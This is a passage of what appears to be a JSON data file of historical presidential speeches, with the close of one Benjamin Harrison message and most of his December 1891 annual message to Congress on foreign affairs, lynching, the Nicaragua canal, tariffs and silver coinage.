States in recent years has in some important particulars been away\nfrom and not toward free and fair elections and equal apportionments. Is it\nnot time that we should come together upon the high plane of patriotism\nwhile we devise methods that shall secure the right of every man qualified\nby law to cast a free ballot and give to every such ballot an equal value\nin choosing our public officers and in directing the policy of the\nGovernment?Lawlessness is not less such, but more, where it usurps the functions of\nthe peace officer and of the courts. The frequent lynching of colored\npeople accused of crime is without the excuse, which has sometimes been\nurged by mobs for a failure to pursue the appointed methods for the\npunishment of crime, that the accused have an undue influence over courts\nand juries. Such acts are a reproach to the community where they occur, and\nso far as they can be made the subject of Federal jurisdiction the\nstrongest repressive legislation is demanded. A public sentiment that will\nsustain the officers of the law in resisting mobs and in protecting accused\npersons in their custody should be promoted by every possible means. The\nofficer who gives his life in the brave discharge of this duty is worthy of\nspecial honor. No lesson needs to be so urgently impressed upon our people\nas this, that no worthy end or cause can be promoted by lawlessness.This exhibit of the work of the Executive Departments is submitted to\nCongress and to the public in the hope that there will be found in it a due\nsense of responsibility and an earnest purpose to maintain the national\nhonor and to promote the happiness and prosperity of all our people, and\nthis brief exhibit of the growth and prosperity of the country will give us\na level from which to note the increase or decadence that new legislative\npolicies may bring to us. There is no reason why the national influence,\npower, and prosperity should not observe the same rates of increase that\nhave characterized the past thirty years. We carry the great impulse and\nincrease of these years into the future. There is no reason why in many\nlines of production we should not surpass all other nations, as we have\nalready done in some. There are no near frontiers to our possible\ndevelopment. Retrogression would be a crime.BENJ. HARRISON", 
+    "name": "Benjamin Harrison"
+}
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+{
+    "date": "December 9, 1891", 
+    "speech": "To the Senate and House of Representatives:The reports of the heads of the several Executive Departments required by\nlaw to be submitted to me, which are herewith transmitted, and the reports\nof the Secretary of the Treasury and the Attorney-General, made directly to\nCongress, furnish a comprehensive view of the administrative work of the\nlast fiscal year relating to internal affair. It would be of great\nadvantage if these reports could have an alternative perusal by every\nmember of Congress and by all who take an interest in public affairs. Such\na perusal could not fail to excite a higher appreciation of the vast labor\nand conscientious effort which are given to the conduct of our civil\nadministration.The reports will, I believe, show that every question has been approached,\nconsidered, and decided from the standpoint of public duty upon\nconsiderations affecting the public interests alone. Again I invite to\nevery branch of the service the attention and scrutiny of Congress.The work of the State Department during the last year has been\ncharacterized by an unusual number of important negotiations and by\ndiplomatic results of a notable and highly beneficial character. Among\nthese are the reciprocal trade arrangements which have been concluded, in\nthe exercise of the powers conferred by section 3 of the tariff law, with\nthe Republic of Brazil, with Spain for its West India possessions, and with\nSanto Domingo. Like negotiations with other countries have been much\nadvanced, and it is hoped that before the close of the year further\ndefinitive trade arrangements of great value will be concluded.In view of the reports which had been received as to the diminution of the\nseal herds in the Bering Sea, I deemed it wise to propose to Her Majesty's\nGovernment in February last that an agreement for a closed season should be\nmade pending the negotiations for arbitration, which then seemed to be\napproaching a favorable conclusion. After much correspondence and delays,\nfor which this Government was not responsible, an agreement was reached and\nsigned on the 15th of June, by which Great Britain undertook from that date\nand until May 1, 1892, to prohibit the killing by her subjects of seals in\nthe Bering Sea, and the Government of the United States during the same\nperiod to enforce its existing prohibition against pelagic sealing and to\nlimit the catch by the fur-seal company upon the islands to 7,500 skins. If\nthis agreement could have been reached earlier in response to the strenuous\nendeavors of this Government, it would have been more effective; but coming\neven as late as it did it unquestionably resulted in greatly diminishing\nthe destruction of the seals by the Canadian sealers.In my last annual message I stated that the basis of arbitration proposed\nby Her Majesty's Government for the adjustment of the long-pending\ncontroversy as to the seal fisheries was not acceptable. I am glad now to\nbe able to announce that terms satisfactory to this Government have been\nagreed upon and that an agreement as to the arbitrators is all that is\nnecessary to the completion of the convention. In view of the advanced\nposition which this Government has taken upon the subject of international\narbitration, this renewed expression of our adherence to this method for\nthe settlement of disputes such as have arisen in the Bering Sea will, I\ndoubt not, meet with the concurrence of Congress.Provision should be made for a joint demarcation of the frontier line\nbetween Canada and the United States wherever required by the increasing\nborder settlements, and especially for the exact location of the water\nboundary in the straits and rivers.I should have been glad to announce some favorable disposition of the\nboundary dispute between Great Britain and Venezuela touching the western\nfrontier of British Guiana, but the friendly efforts of the United States\nin that direction have thus far been unavailing. This Government will\ncontinue to express its concern at any appearance of foreign encroachment\non territories long under the administrative control of American States.\nThe determination of a disputed boundary is easily attainable by amicable\narbitration where the rights of the respective parties rest, as here, on\nhistoric facts readily ascertainable.The law of the last Congress providing a system of inspection for our meats\nintended for export, and clothing the President with power to exclude\nforeign products from our market in case the country sending them should\nperpetuate unjust discriminations against any product of the United States,\nplaced this Government in a position to effectively urge the removal of\nsuch discriminations against our meats. It is gratifying to be able to\nstate that Germany, Denmark, Italy, Austria, and France, in the order\nnamed, have opened their ports to inspected American pork products. The\nremoval of these restrictions in every instance was asked for and given\nsolely upon the ground that we have now provided a meat inspection that\nshould be accepted as adequate to the complete removal of the dangers, real\nor fancied, which had been previously urged. The State Department, our\nministers abroad, and the Secretary of Agriculture have cooperated with\nunflagging and intelligent zeal for the accomplishment of this great\nresult. The outlines of an agreement have been reached with Germany looking\nto equitable trade concessions in consideration of the continued free\nimportation of her sugars, but the time has not yet arrived when this\ncorrespondence can be submitted to Congress.The recent political disturbances in the Republic of Brazil have excited\nregret and solicitude. The information we possessed was too meager to\nenable us to form a satisfactory judgment of the causes leading to the\ntemporary assumption of supreme power by President Fonseca; but this\nGovernment did not fail to express to him its anxious solicitude for the\npeace of Brazil and for the maintenance of the free political institutions\nwhich had recently been established there, nor to offer our advice that\ngreat moderation should be observed in the clash of parties and the contest\nfor leadership. These counsels were received in the most friendly spirit,\nand the latest information is that constitutional government has been\nreestablished without bloodshed.The lynching at New Orleans in March last of eleven men of Italian nativity\nby a mob of citizens was a most deplorable and discreditable incident. It\ndid not, however, have its origin in any general animosity to the Italian\npeople, nor in any disrespect to the Government of Italy, with which our\nrelations were of the most friendly character. The fury of the mob was\ndirected against these men as the supposed participants or accessories in\nthe murder of a city officer. I do not allude to this as mitigating in any\ndegree this offense against law and humanity, but only as affecting the\ninternational questions which grew out of it. It was at once represented by\nthe Italian minister that several of those whose lives had been taken by\nthe mob were Italian subjects, and a demand was made for the punishment of\nthe participants and for an indemnity to the families of those who were\nkilled. It is to be regretted that the manner in which these claims were\npresented was not such as to promote a calm discussion of the questions\ninvolved; but this may well be attributed to the excitement and indignation\nwhich the crime naturally evoked. The views of this Government as to its\nobligations to foreigners domiciled here were fully stated in the\ncorrespondence, as well as its purpose to make an investigation of the\naffair with a view to determine whether there were present any\ncircumstances that could under such rules of duty as we had indicated\ncreate an obligation upon the United States. The temporary absence of a\nminister plenipotentiary of Italy at this capital has retarded the further\ncorrespondence, but it is not doubted that a friendly conclusion is\nattainable.Some suggestions growing out of this unhappy incident are worthy the\nattention of Congress. It would, I believe, be entirely competent for\nCongress to make offenses against the treaty rights of foreigners domiciled\nin the United States cognizable in the Federal courts. This has not,\nhowever, been done, and the Federal officers and courts have no power in\nsuch cases to intervene, either for the protection of a foreign citizen or\nfor the punishment of his slayers. It seems to me to follow, in this state\nof the law, that the officers of the State charged with police and judicial\npowers in such cases must in the consideration of international questions\ngrowing out of such incidents be regarded in such sense as Federal agents\nas to make this Government answerable for their acts in cases where it\nwould be answerable if the United States had used its constitutional power\nto define and punish crime against treaty rights.The civil war in Chile, which began in January last, was continued, but\nfortunately with infrequent and not important armed collisions, until\nAugust 28, when the Congressional forces landed near Valparaiso and after a\nbloody engagement captured that city. President Balmaceda at once\nrecognized that his cause was lost, and a Provisional Government was\nspeedily established by the victorious party. Our minister was promptly\ndirected to recognize and put himself in communication with this Government\nso soon as it should have established its de facto character, which was\ndone. During the pendency of this civil contest frequent indirect appeals\nwere made to this Government to extend belligerent rights to the insurgents\nand to give audience to their representatives. This was declined, and that\npolicy was pursued throughout which this Government when wrenched by civil\nwar so strenuously insisted upon on the part of European nations. The\nItata, an armed vessel commanded by a naval officer of the insurgent fleet,\nmanned by its sailors and with soldiers on board, was seized under process\nof the United States court at San Diego, Cal., for a violation of our\nneutrality laws. While in the custody of an officer of the court the vessel\nwas forcibly wrested from his control and put to sea. It would have been\ninconsistent with the dignity and self-respect of this Government not to\nhave insisted that the Itala should be returned to San Diego to abide the\njudgment of the court. This was so clear to the junta of the Congressional\nparty, established at Iquique, that before the arrival of the Itata at that\nport the secretary of foreign relations of the Provisional Government\naddressed to Rear-Admiral Brown, commanding the United States naval forces,\na communication, from which the following is an extract: The Provisional\nGovernment has learned by the cablegrams of the Associated Press that the\ntransport Itata, detained in San Diego by order of the United States for\ntaking on board munitions of war, and in possession of the marshal, left\nthe port, carrying on board this official, who was landed at a point near\nthe coast, and then continued her voyage. If this news be correct this\nGovernment would deplore the conduct of the Itata, and as an evidence that\nit is not disposed to support or agree to the infraction of the laws of the\nUnited States the undersigned takes advantage of the personal relations you\nhave been good enough to maintain with him since your arrival in this port\nto declare to you that as soon as she is within reach of our orders his\nGovernment will put the Itata, with the arms and munitions she took on\nboard in Sail Diego, at the disposition of the United States. A trial in\nthe district court of the United States for the southern district of\nCalifornia has recently resulted in a decision holding, among other things,\nthat inasmuch as the Congressional party had not been recognized as a\nbelligerent the acts done in its interest could not be a violation of our\nneutrality laws. From this judgment the United States has appealed, not\nthat the condemnation of the vessel is a matter of importance, but that we\nmay know what the present state of our law is; for if this construction of\nthe statute is correct there is obvious necessity for revision and\namendment.During the progress of the war in Chile this Government tendered its good\noffices to bring about a peaceful adjustment, and it was at one time hoped\nthat a good result might be reached; but in this we were disappointed.The instructions to our naval officers and to our minister at Santiago from\nthe first to the last of this struggle enjoined upon them the most\nimpartial treatment and absolute noninterference. I am satisfied that these\ninstructions were observed and that our representatives were always\nwatchful to use their influence impartially in the interest of humanity,\nand on more than one occasion did so effectively. We could not forget,\nhowever, that this Government was in diplomatic relations with the then\nestablished Government of Chile, as it is now in such relations with the\nsuccessor of that Government. I am quite sure that President Montt, who\nhas, under circumstances of promise for the peace of Chile, been installed\nas President of that Republic, will not desire that in the unfortunate\nevent of any revolt against his authority the policy of this Government\nshould be other than that which we have recently observed. No official\ncomplaint of the conduct of our minister or of our naval officers during\nthe struggle has been presented to this Government, and it is a matter of\nregret that so many of our own people should have given ear to unofficial\ncharges and complaints that manifestly had their origin in rival interests\nand in a wish to pervert the relations of the United States with Chile.The collapse of the Government of Balmaceda brought about a condition which\nis unfortunately too familiar in the history of the Central and South\nAmerican States. With the overthrow of the Balmaceda Government he and many\nof his councilors and officers became at once fugitives for their lives and\nappealed to the commanding officers of the foreign naval vessels in the\nharbor of Valparaiso and to the resident foreign ministers at Santiago for\nasylum. This asylum was freely given, according to my information, by the\nnaval vessels of several foreign powers and by several of the legations at\nSantiago. The American minister as well as his colleagues, acting upon the\nimpulse of humanity, extended asylum to political refugees whose lives were\nin peril. I have not been willing to direct the surrender of such of these\npersons as are still in the American legation without suitable conditions.It is believed that the Government of Chile is not in a position, in view\nof the precedents with which it has been connected, to broadly deny the\nright of asylum, and the correspondence has not thus far presented any such\ndenial. The treatment of our minister for a time was such as to call for a\ndecided protest, and it was very gratifying to observe that unfriendly\nmeasures, which were undoubtedly the result of the prevailing excitement,\nwere at once rescinded or suitably relaxed.On the 16th of October an event occurred in Valparaiso so serious and\ntragic in its circumstances and results as to very justly excite the\nindignation of our people and to call for prompt and decided action on the\npart of this Government. A considerable number of the sailors of the United\nStates steamship Baltimore, then in the harbor at Valparaiso, being upon\nshore leave and unarmed, were assaulted by armed men nearly simultaneously\nin different localities in the city. One petty officer was killed outright\nand seven or eight seamen were seriously wounded, one of whom has since\ndied. So savage and brutal was the assault that several of our sailors\nreceived more than two and one as many as eighteen stab wounds. An\ninvestigation of the affair was promptly made by a board of officers of the\nBaltimore, and their report shows that these assaults were unprovoked, that\nour men were conducting themselves in a peaceable and orderly manner, and\nthat some of the police of the city took part in the assault and used their\nweapons with fatal effect, while a few others, with some well-disposed\ncitizens, endeavored to protect our men. Thirty-six of our sailors were\narrested, and some of them while being taken to prison were cruelly beaten\nand maltreated. The fact that they were all discharged, no criminal charge\nbeing lodged against any one of them, shows very clearly that they were\ninnocent of any breach of the peace.So far as I have yet been able to learn no other explanation of this bloody\nwork has been suggested than that it had its origin in hostility to those\nmen as sailors of the United States, wearing the uniform of their\nGovernment, and not in any individual act or personal animosity. The\nattention of the Chilean Government was at once called to this affair, and\na statement of the facts obtained by the investigation we had conducted was\nsubmitted, accompanied by a request to be advised of any other or\nqualifying facts in the possession of the Chilean Government that might\ntend to relieve this affair of the appearance of an insult to this\nGovernment. The Chilean Government was also advised that if such qualifying\nfacts did not exist this Government would confidently expect full and\nprompt reparation.It is to be regretted that the reply of the secretary for foreign affairs\nof the Provisional Government was couched in an offensive tone. To this no\nresponse has been made. This Government is now awaiting the result of an\ninvestigation which has been conducted by the criminal court at Valparaiso.\nIt is reported unofficially that the investigation is about completed, and\nit is expected that the result will soon be communicated to this\nGovernment, together with some adequate and satisfactory response to the\nnote by which the attention of Chile was called to this incident. If these\njust expectations should be disappointed or further needless delay\nintervene, I will by a special message bring this matter again to the\nattention of Congress for such action as may be necessary. The entire\ncorrespondence with the Government of Chile will at an early day be\nsubmitted to Congress.I renew the recommendation of my special message dated January 16, 1890,\nfor the adoption of the necessary legislation to enable this Government to\napply in the case of Sweden and Norway the same rule in respect to the\nlevying of tonnage dues as was claimed and secured to the shipping of the\nUnited States in 1828 under Article VIII of the treaty of 1827.The adjournment of the Senate without action on the pending acts for the\nsuppression of the slave traffic in Africa and for the reform of the\nrevenue tariff of the Independent State of the Kongo left this Government\nunable to exchange those acts on the date fixed, July 2, 1891. A modus\nvivendi has been concluded by which the power of the Kongo State to levy\nduties on imports is left unimpaired, and by agreement of all the\nsignatories to the general slave-trade act the time for the exchange of\nratifications on the part of the United States has been extended to\nFebruary 2, 1892.The late outbreak against foreigners in various parts of the Chinese Empire\nhas been a cause of deep concern in view of the numerous establishments of\nour citizens in the interior of that country. This Government can do no\nless than insist upon a continuance of the protective and punitory measures\nwhich the Chinese Government has heretofore applied. No effort will be\nomitted to protect our citizens peaceably sojourning in China, but recent\nunofficial information indicates that what was at first regarded as an\noutbreak of mob violence against foreigners has assumed the larger form of\nan insurrection against public order.The Chinese Government has declined to receive Mr. Blair as the minister of\nthe United States on the ground that as a participant while a Senator in\nthe enactment of the existing legislation against the introduction of\nChinese laborers he has become unfriendly and objectionable to China. I\nhave felt constrained to point out to the Chinese Government the\nuntenableness of this position, which seems to rest as much on the\nunacceptability of our legislation as on that of the person chosen, and\nwhich if admitted would practically debar the selection of any\nrepresentative so long as the existing laws remain in force.You will be called upon to consider the expediency of making special\nprovision by law for the temporary admission of some Chinese artisans and\nlaborers in connection with the exhibit of Chinese industries at the\napproaching Columbian Exposition. I regard it as desirable that the Chinese\nexhibit be facilitated in every proper way.A question has arisen with the Government of Spain touching the rights of\nAmerican citizens in the Caroline Islands. Our citizens there long prior to\nthe confirmation of Spain's claim to the islands had secured by settlement\nand purchase certain rights to the recognition and maintenance of which the\nfaith of Spain was pledged. I have had reason within the past year very\nstrongly to protest against the failure to carry out this pledge on the\npart of His Majesty's ministers, which has resulted in great injustice and\ninjury to the American residents.The Government and people of Spain propose to celebrate the four hundredth\nanniversary of the discovery of America by holding an exposition at Madrid,\nwhich will open on the 12th of September and continue until the 31st of\nDecember, 1892. A cordial invitation has been extended to the United States\nto take part in this commemoration, and as Spain was one of the first\nnations to express the intention to participate in the World's Columbian\nExposition at Chicago, it would be very appropriate for this Government to\ngive this invitation its friendly promotion.Surveys for the connecting links of the projected intercontinental railway\nare in progress, not only in Mexico, but at various points along the course\nmapped out. Three surveying parties are now in the field under the\ndirection of the commission. Nearly 1,000 miles of the proposed road have\nbeen surveyed, including the most difficult part, that through Ecuador and\nthe southern part of Colombia. The reports of the engineers are very\nsatisfactory, and show that no insurmountable obstacles have been met\nwith.On November 12, 1884, a treaty was concluded with Mexico reaffirming the\nboundary between the two countries as described in the treaties of February\n2, 1848, and December 30, 1853. March 1, 1889, a further treaty was\nnegotiated to facilitate the carrying out of the principles of the treaty\nof 1884 and to avoid the difficulties occasioned by reason of the changes\nand alterations that take place from natural causes in the Rio Grande and\nColorado rivers in the portions thereof constituting the boundary line\nbetween the two Republics. The International Boundary Commission provided\nfor by the treaty of 1889 to have exclusive jurisdiction of any question\nthat may arise has been named by the Mexican Government. An appropriation\nis necessary to enable the United States to fulfill its treaty obligations\nin this respect.The death of King Kalakaua in the United States afforded occasion to\ntestify our friendship for Hawaii by conveying the King's body to his own\nland in a naval vessel with all due honors. The Government of his\nsuccessor, Queen Liliuokolani is seeking to promote closer commercial\nrelations with the United States. Surveys for the much-needed submarine\ncable from our Pacific coast to Honolulu are in progress, and this\nenterprise should have the suitable promotion of the two Governments. I\nstrongly recommend that provision be made for improving the harbor of Pearl\nRiver and equipping it as a naval station.The arbitration treaty formulated by the International American Conference\nlapsed by reason of the failure to exchange ratifications fully within the\nlimit of time provided; but several of the Governments concerned have\nexpressed a desire to save this important result of the conference by an\nextension of the period. It is, in my judgment, incumbent upon the United\nStates to conserve the influential initiative it has taken in this measure\nby ratifying the instrument and by advocating the proposed extension of the\ntime for exchange. These views have been made known to the other\nsignatories.This Government has found occasion to express in a friendly spirit, but\nwith much earnestness, to the Government of the Czar its serious concern\nbecause of the harsh measures now being enforced against the Hebrews in\nRussia. By the revival of antisemitic laws, long in abeyance, great numbers\nof those unfortunate people have been constrained to abandon their homes\nand leave the Empire by reason of the impossibility of finding subsistence\nwithin the pale to which it is sought to confine them. The immigration of\nthese people to the United States--many other countries being closed to\nthem--is largely increasing and is likely to assume proportions which may\nmake it difficult to find homes and employment for them here and to\nseriously affect the labor market. It is estimated that over 1,000,000 will\nbe forced from Russia within a few years. The Hebrew is never a beggar; he\nhas always kept the law--life by toil--often under severe and oppressive\ncivil restrictions. It is also true that no race, sect, or class has more\nfully cared for its own than the Hebrew race. But the sudden transfer of\nsuch a multitude under conditions that tend to strip them of their small\naccumulations and to depress their energies and courage is neither good for\nthem nor for us.The banishment, whether by direct decree or by not less certain indirect\nmethods, of so large a number of men and women is not a local question. A\ndecree to leave one country is in the nature of things an order to enter\nanother--some other. This consideration, as well as the suggestion of\nhumanity, furnishes ample ground for the remonstrances which we have\npresented to Russia, while our historic friendship for that Government can\nnot fail to give the assurance that our representations are those of a\nsincere wellwisher.The annual report of the Maritime Canal Company of Nicaragua shows that\nmuch costly and necessary preparatory work has been done during the year in\nthe construction of shops, railroad tracks, and harbor piers and\nbreakwaters, and that the work of canal construction has made some\nprogress.I deem it to be a matter of the highest concern to the United States that\nthis canal, connecting the waters of the Atlantic and Pacific oceans and\ngiving to us a short water communication between our ports upon those two\ngreat seas, should be speedily constructed and at the smallest practicable\nlimit of cost. The gain in freights to the people and the direct saving to\nthe Government of the United States in the use of its naval vessels would\npay the entire cost of this work within a short series of years. The report\nof the Secretary of the Navy shows the saving in our naval expenditures\nwhich would result.The Senator from Alabama (Mr. Morgan) in his argument upon this subject\nbefore the Senate at the last session did not overestimate the importance\nof this work when he said that \"the canal is the most important subject now\nconnected with the commercial growth and progress of the United States.\"If this work is to be promoted by the usual financial methods and without\nthe aid of this Government, the expenditures in its interest-bearing\nsecurities and stock will probably be twice the actual cost. This will\nnecessitate higher tolls and constitute a heavy and altogether needless\nburden upon our commerce and that of the world. Every dollar of the bonds\nand stock of the company should represent a dollar expended in the\nlegitimate and economical prosecution of the work. This is only possible by\ngiving to the bonds the guaranty of the United States Government. Such a\nguaranty would secure the ready sale at par of a 3 per cent bond from time\nto time as the money was needed. I do not doubt that built upon these\nbusiness methods the canal would when fully inaugurated earn its fixed\ncharges and operating expenses. But if its bonds are to be marketed at\nheavy discounts and every bond sold is to be accompanied by a gift of\nstock, as has come to be expected by investors in such enterprises, the\ntraffic will be seriously burdened to pay interest and dividends. I am\nquite willing to recommend Government promotion in the prosecution of a\nwork which, if no other means offered for securing its completion, is of\nsuch transcendent interest that the Government should, in my opinion,\nsecure it by direct appropriations from its Treasury.A guaranty of the bonds of the canal company to an amount necessary to the\ncompletion of the canal could, I think, be so given as not to involve any\nserious risk of ultimate loss. The things to be carefully guarded are the\ncompletion of the work within the limits of the guaranty, the subrogation\nof the United States to the rights of the first-mortgage bondholders for\nany amounts it may have to pay, and in the meantime a control of the stock\nof the company as a security against mismanagement and loss. I most\nsincerely hope that neither party nor sectional lines will be drawn upon\nthis great American project, so full of interest to the people of all our\nStates and so influential in its effects upon the prestige and prosperity\nof our common country.The island of Navassa, in the West Indian group, has, under the provisions\nof Title VII of the Revised Statutes, been recognized by the President as\nappertaining to the United States. It contains guano deposits, is owned by\nthe Navassa Phosphate Company, and is occupied solely its employees. In\nSeptember, 1889, a revolt took place among these laborers, resulting in the\nkilling of some of the agents of the company, caused, as the laborers\nclaimed, by cruel treatment. These men were arrested and tried in the\nUnited States court at Baltimore, under section 5576 of the statute\nreferred to, as if the offenses had been committed on board a merchant\nvessel of the United States on the high seas. There appeared on the trial\nand otherwise came to me such evidences of the bad treatment of the men\nthat in consideration of this and of the fact that the men had no access to\nany public officer or tribunal for protection or the redress of their\nwrongs I commuted the death sentences that had been passed by the court\nupon three of them. In April last my attention was again called to this\nisland and to the unregulated condition of things there by a letter from a\ncolored laborer, who complained that he was wrongfully detained upon the\nisland by the phosphate company after the expiration of his contract of\nservice. A naval vessel was sent to examine into the case of this man and\ngenerally into the condition of things on the island. It was found that the\nlaborer referred to had been detained beyond the contract limit and that a\ncondition of revolt again existed among the laborers. A board of naval\nofficers reported, among other things, as follows: We would desire to state\nfurther that the discipline maintained on the island seems to be that of a\nconvict establishment without its comforts and cleanliness, and that until\nmore attention is paid to the shipping of laborers by placing it under\nGovernment supervision to prevent misunderstanding and misrepresentation,\nand until some amelioration is shown in the treatment of the laborers,\nthese disorders will be of constant occurrence. I recommend legislation\nthat shall place labor contracts upon this and other islands having the\nrelation that Navassa has to the United States under the supervision of a\ncourt commissioner, and that shall provide at the expense of the owners an\nofficer to reside upon the island, with power to judge and adjust disputes\nand to enforce a just and humane treatment of the employees. It is\ninexcusable that American laborers should be left within our own\njurisdiction without access to any Government officer or tribunal for their\nprotection and the redress of their wrongs.International copyright has been secured, in accordance with the conditions\nof the act of March 3, 1891, with Belgium, France, Great Britain and the\nBritish possessions, and Switzerland, the laws of those countries\npermitting to our citizens the benefit of copyright on substantially the\nsame basis as to their own citizens or subjects.With Germany a special convention has been negotiated upon this subject\nwhich will bring that country within the reciprocal benefits of our\nlegislation.The general interest in the operations of the Treasury Department has been\nmuch augmented during the last year by reason of the conflicting\npredictions, which accompanied and followed the tariff and other\nlegislation of the last Congress affecting the revenues, as to the results\nof this legislation upon the Treasury and upon the country. On the one hand\nit was contended that imports would so fall off as to leave the Treasury\nbankrupt and that the prices of articles entering into the living of the\npeople would be so enhanced as to disastrously affect their comfort and\nhappiness, while on the other it was argued that the loss to the revenue,\nlargely the result of placing sugar on the free list, would be a direct\ngain to the people; that the prices of the necessaries of life, including\nthose most highly protected, would not be enhanced; that labor would have a\nlarger market and the products of the farm advanced prices, while the\nTreasury surplus and receipts would be adequate to meet the appropriations,\nincluding the large exceptional expenditures for the refunding to the\nStates of the direct tax and the redemption of the 4 1/2 per cent bonds.It is not my purpose to enter at any length into a discussion of the\neffects of the legislation to which I have referred; but a brief\nexamination of the statistics of the Treasury and a general glance at the\nstate of business throughout the country will, I think, satisfy any\nimpartial inquirer that its results have disappointed the evil prophecies\nof its opponents and in a large measure realized the hopeful predictions of\nits friends. Rarely, if ever before, in the history of the country has\nthere been a time when the proceeds of one day's labor or the product of\none farmed acre would purchase so large an amount of those things that\nenter into the living of the masses of the people. I believe that a full\ntest will develop the fact that the tariff act of the Fifty-first Congress\nis very favorable in its average effect upon the prices of articles\nentering into common use.During the twelve months from October 1, 1890, to September 30, 1891, the\ntotal value of our foreign commerce (imports and exports combined) was\n$1,747,806,406, which was the largest of any year in the history of the\nUnited States. The largest in any previous year was in 1890, when our\ncommerce amounted to $1,647,139,093, and the last year exceeds this\nenormous aggregate by over one hundred millions. It is interesting, and to\nsome will be surprising, to know that during the year ending September 30,\n1891, our imports of merchandise amounted to $824,715,270, which was an\nincrease of more than $11,000,000 over the value of the imports of the\ncorresponding months of the preceding year, when the imports of merchandise\nwere unusually large in anticipation of the tariff legislation then\npending. The average annual value of the imports of merchandise for the ten\nyears from 1881 to 1890 was $692,186,522, and during the year ending\nSeptember 30, 1891, this annual average was exceeded by $132,528,469.The value of free imports during the twelve months ending September 30,\n1891, was $118,092,387 more than the value of free imports during the\ncorresponding twelve months of the preceding year, and there was during the\nsame period a decrease of $106,846,508 in the value of imports of dutiable\nmerchandise. The percentage of merchandise admitted free of duty during the\nyear to which I have referred, the first under the new tariff, was 48.18,\nwhile during the preceding twelve months, under the old tariff, the\npercentage was 34.27, an increase of 13.91 per cent. If we take the six\nmonths ending September 30 last, which covers the time during which sugars\nhave been admitted free of duty, the per cent of value of merchandise\nimported free of duty is found to be 55.37, which is a larger percentage of\nfree imports than during any prior fiscal year in the history of the\nGovernment.If we turn to exports of merchandise, the statistics are full of\ngratification. The value of such exports of merchandise for the twelve\nmonths ending September 30, 1891, was $923,091,136, while for the\ncorresponding previous twelve months it was $860,177,115, an increase of\n$62,914,021, which is nearly three times the average annual increase of\nexports of merchandise for the preceding twenty years. This exceeds in\namount and value the exports of merchandise during any year in the history\nof the Government. The increase in the value of exports of agricultural\nproducts during the year referred to over the corresponding twelve months\nof the prior year was $45,846,197, while the increase in the value of\nexports of manufactured products was $16,838,240.There is certainly nothing in the condition of trade, foreign or domestic,\nthere is certainly nothing in the condition of our people of any class, to\nsuggest that the existing tariff and revenue legislation bears oppressively\nupon the people or retards the commercial development of the nation. It may\nbe argued that our condition would be better if tariff legislation were\nupon a free-trade basis; but it can not be denied that all the conditions\nof prosperity and of general contentment are present in a larger degree\nthan ever before in our history, and that, too, just when it was prophesied\nthey would be in the worst state. Agitation for radical changes in tariff\nand financial legislation can not help but may seriously impede business,\nto the prosperity of which some degree of stability in legislation is\nessential.I think there are conclusive evidences that the new tariff has created\nseveral great industries, which will within a few years give employment to\nseveral hundred thousand American working men and women. In view of the\nsomewhat overcrowded condition of the labor market of the United States,\nevery patriotic citizen should rejoice at such a result.The report of the Secretary of the Treasury shows that the total receipts\nof the Government from all sources for the fiscal year ending June 30,\n1891, were $458,544,233.03, while the expenditures for the same period were\n$421,304,470.46, leaving a surplus of $37,239,762.57.The receipts of the fiscal year ending June 30, 1892, actual and estimated,\nare $433,000,000 and the expenditures $409,000,000. For the fiscal year\nending June 30, 1893, the estimated receipts are $455,336,350 and the\nexpenditures $441,300,093.Under the law of July 14, 1890, the Secretary of the Treasury has purchased\n(since August 13) during the fiscal year 48,393,113 ounces of silver\nbullion at an average cost of $1.045 per ounce. The highest price paid\nduring the year was $1.2025 and the lowest $0.9636. In exchange for this\nsilver bullion there have been issued $50,577,498 of the Treasury notes\nauthorized by the act. The lowest price of silver reached during the fiscal\nyear was $0.9636 on April 22, 1891; but on November 1 the market price was\nonly $0.96, which would give to the silver dollar a bullion value of 74 1/4\ncents.Before the influence of the prospective silver legislation was felt in the\nmarket silver was worth in New York about $0.955 per ounce. The ablest\nadvocates of free coinage in the last Congress were most confident in their\npredictions that the purchases by the Government required by the law would\nat once bring the price of silver to $1.2929 per ounce, which would make\nthe bullion value of a dollar 100 cents and hold it there. The prophecies\nof the antisilver men of disasters to result from the coinage of $2,000,000\nper month were not wider of the mark. The friends of free silver are not\nagreed, I think, as to the causes that brought their hopeful predictions to\nnaught. Some facts are known. The exports of silver from London to India\nduring the first nine months of this calendar year fell off over 50 per\ncent, or $17,202,730, compared with the same months of the preceding year.\nThe exports of domestic silver bullion from this country, which had\naveraged for the last ten years over $17,000,000, fell in the last fiscal\nyear to $13,797,391, while for the first time in recent years the imports\nof silver into this country exceeded the exports by the sum of $2,745,365.\nIn the previous year the net exports of silver from the United States\namounted to $8,545,455. The production of the United States increased from\n50,000,000 ounces in 1889 to 54,500,000 in 1890. The Government is now\nbuying and putting aside annually 54,000,000 ounces, which, allowing for\n7,140,000 ounces of new bullion used in the arts, is 6,640,000 more than\nour domestic products available for coinage.I hope the depression in the price of silver is temporary and that a\nfurther trial of this legislation will more favorably affect it. That the\nincreased volume of currency thus supplied for the use of the people was\nneeded and that beneficial results upon trade and prices have followed this\nlegislation I think must be very clear to everyone. Nor should it be\nforgotten that for every dollar of these notes issued a full dollar's worth\nof silver bullion is at the time deposited in the Treasury as a security\nfor its redemption. Upon this subject, as upon the tariff, my\nrecommendation is that the existing laws be given a full trial and that our\nbusiness interests be spared the distressing influence which threats of\nradical changes always impart. Under existing legislation it is in the\npower of the Treasury Department to maintain that essential condition of\nnational finance as well as of commercial prosperity--the parity in use of\nthe coined dollars and their paper representatives. The assurance that\nthese powers would be freely and unhesitatingly used has done much to\nproduce and sustain the present favorable business conditions.I am still of the opinion that the free coinage of silver under existing\nconditions would disastrously affect our business interests at home and\nabroad. We could not hope to maintain an equality in the purchasing power\nof the gold and silver dollar in our own markets, and in foreign trade the\nstamp gives no added value to the bullion contained in coins. The producers\nof the country, its farmers and laborers, have the highest interest that\nevery dollar, paper or coin, issued by the Government shall be as good as\nany other. If there is one less valuable than another, its sure and\nconstant errand will be to pay them for their toil and for their crops. The\nmoney lender will protect himself by stipulating for payment in gold, but\nthe laborer has never been able to do that. To place business upon a silver\nbasis would mean a sudden and severe contraction of the currency by the\nwithdrawal of gold and gold notes and such an unsettling of all values as\nwould produce a commercial panic. I can not believe that a people so strong\nand prosperous as ours will promote such a policy.The producers of silver are entitled to just consideration, but they should\nnot forget that the Government is now buying and putting out of the market\nwhat is the equivalent of the entire product of our silver mines. This is\nmore than they themselves thought of asking two years ago. I believe it is\nthe earnest desire of a great majority of the people, as it is mine, that a\nfull coin use shall be made of silver just as soon as the cooperation of\nother nations can be secured and a ratio 